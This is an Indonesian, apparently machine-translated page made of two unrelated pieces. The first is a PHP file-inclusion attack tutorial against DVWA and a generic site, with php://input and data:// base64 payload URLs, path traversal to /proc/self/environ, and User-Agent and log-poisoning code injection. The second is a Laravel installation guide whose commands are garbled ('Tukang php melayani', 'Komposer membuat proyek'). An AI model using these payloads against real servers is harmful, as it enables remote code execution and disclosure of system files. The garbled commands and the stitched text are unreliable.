Ini tidak seperti penyematan file dan sekali lagi tidak mengharuskan Anda mengunggah file.

Untuk membantu saya akan menggunakan ekstensi FireFox, Anda juga dapat menggunakannya atau program lain (misalnya curl) yang dapat mentransfer data menggunakan metode POST.

php://masukan memiliki akses ke badan permintaan HTTP mentah, untuk memahami apa yang include("php://input") fungsinya, buka halamannya

http://localhost/dvwa/vulnerabilities/fi/?page=php://input

Dan di badan permintaan, kirimkan kode PHP yang benar (misalnya menggunakan metode POST). Ini akan memungkinkan Anda untuk melakukan fungsi apa pun yang diizinkan di server jarak jauh!

Eksekusi kode jarak jauh dengan data://

Selain itu, PHP mendukung skema URL data:// Anda dapat menempatkan kode langsung di parameter GET! Tes berikut ini tidak memerlukan alat khusus apa pun, hanya browser biasa untuk melakukan serangan.

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

Beberapa firewall aplikasi web mungkin melihat string mencurigakan di URL dan memblokir permintaan berbahaya. Tetapi ada cara untuk mengenkripsi string dengan setidaknya pengkodean base64:

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

Jalankan perintah sewenang-wenang dari /proc/self/environ

/proc/self/environ adalah penyimpanan variabel proses. Jika proses Apache memiliki hak yang memadai untuk mengaksesnya, maka ketika membuka halaman web yang berisi penyertaan dengan URL serupa,

www.website.com/view.php?page=../../../../../proc/self/environ

akan menampilkan sesuatu seperti

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=teks/html, aplikasi/xml;q=0.9, aplikasi/xhtml+xml, gambar/png, gambar/jpeg, gambar/gif, gambar/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Versi/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=DAPATKAN REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [dilindungi email] SERVER_NAME=www.situs web.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Harap diperhatikan HTTP_USER_AGENT. Sebagai gantinya, Anda dapat mengganti kode PHP yang benar, yang akan dieksekusi di server jauh.

Mengetsa dan menyuntikkan log saat memasukkan file secara lokal

Sayangnya, aktif versi terbaru Apache metode ini tidak lagi berfungsi.

Esensinya terletak pada kenyataan bahwa kode penyerang dimasukkan ke dalam log server web. Hal ini dapat dilakukan dengan melakukan substitusi Agen-Pengguna, atau bahkan hanya dengan meneruskannya ke dalam parameter GET.

Injeksi statis dari file jarak jauh

Contoh statis meliputi:

Anda dapat menggunakan inklusi statis dalam situasi yang sangat eksotik. Untuk menyuntikkan kode berbahaya, perlu dilakukan serangan man-in-the-middle antara dua server: salah satunya menghosting aplikasi web menggunakan penyertaan, dan yang kedua menghosting file yang digunakan untuk penyertaan.

Laravel memerlukan Composer untuk mengelola dependensi proyek. Jadi sebelum menginstal Laravel, pastikan Anda sudah menginstal Composer di sistem Anda. Jika Anda baru pertama kali mendengar tentang Komposer, ini adalah alat manajemen ketergantungan untuk php yang mirip dengan npm node.

Untuk menginstal Komposer di mesin Anda, periksa posting ini:

Menginstal Laravel di Windows:

Ikuti langkah-langkah di bawah ini untuk menginstal laravel di mesin windows. Tidak peduli Anda memiliki tumpukan xampp/wamp, ini berfungsi untuk keduanya. Di WAMP, pastikan untuk menginstal laravel di folder "www" dan di XAMPP, tentu saja di "htdocs".

LANGKAH-1) Buka folder "htdocs" di XAMPP, tahan tombol SHIFT dan klik kanan pada folder tersebut, dan pilih "buka jendela perintah di sini". Alternatifnya, Anda dapat membuka jendela perintah dan mengubah direktori ke "xampp/htdocs".

LANGKAH-2) Masuk berikut ini memerintah.

Komposer membuat proyek laravel/laravel my_laravel_site --prefer-dist

Di sini "my_laravel_site" adalah nama folder tempat file laravel akan diinstal. Ubah ini sesuai keinginan Anda.

LANGKAH-3) Sekarang saatnya bersabar karena instalasi laravel akan memakan waktu.

LANGKAH-4) Setelah terinstal, ubah direktori menjadi "my_laravel_site" (cd "my_laravel_site") pada command prompt dan masukkan perintah di bawah ini.

Tukang php melayani

LANGKAH-5) Ini akan menampilkan pesan seperti, "Server pengembangan Laravel dimulai:" bersama dengan url.

LANGKAH-6) Salin dan tempel url di browser. Jika semuanya berjalan baik, Anda akan melihat layar selamat datang laravel.

LANGKAH-7) Selesai! Anda telah berhasil menginstal laravel di mesin windows dan siap digunakan.

Mengatur Kunci Aplikasi:

Laravel memerlukan sedikit konfigurasi setelah instalasi. Ini mengharuskan Anda untuk mengatur kunci aplikasi. Ini adalah string acak sepanjang 32 karakter yang digunakan untuk mengenkripsi sesi dan data sensitif lainnya. Biasanya ini akan diset secara otomatis ketika Anda menginstal laravel melalui composer atau laravel installer.

Jika belum diset, Anda harus melakukannya secara manual. Pertama pastikan untuk mengganti nama file ".env.example" menjadi ".env" di root aplikasi Anda. Kemudian buka command prompt dan ubah ke folder proyek laravel. Sekarang jalankan perintah di bawah ini untuk menghasilkan kunci.

Kunci tukang php: hasilkan

Salin kunci yang dihasilkan ini ke variabel APP_KEY pada file ".env". Simpan dan Anda selesai.

Menginstal Versi Laravel Tertentu:

Metode yang diberikan di atas akan membuat composer mengunduh dan menginstal laravel versi terbaru. Jika Anda ingin menginstal laravel versi sebelumnya di mesin Anda, pastikan untuk menyertakan nomor versi masing-masing pada perintah create-project.

Komposer buat-proyek laravel/laravel=5.4 nama-proyek-Anda --prefer-dist Baca Juga:

Anda juga bisa menginstal laravel dengan mudah menggunakan composer di windows. Saya harap tutorial ini bermanfaat bagi Anda. Silakan bagikan di lingkaran sosial Anda jika Anda menyukainya.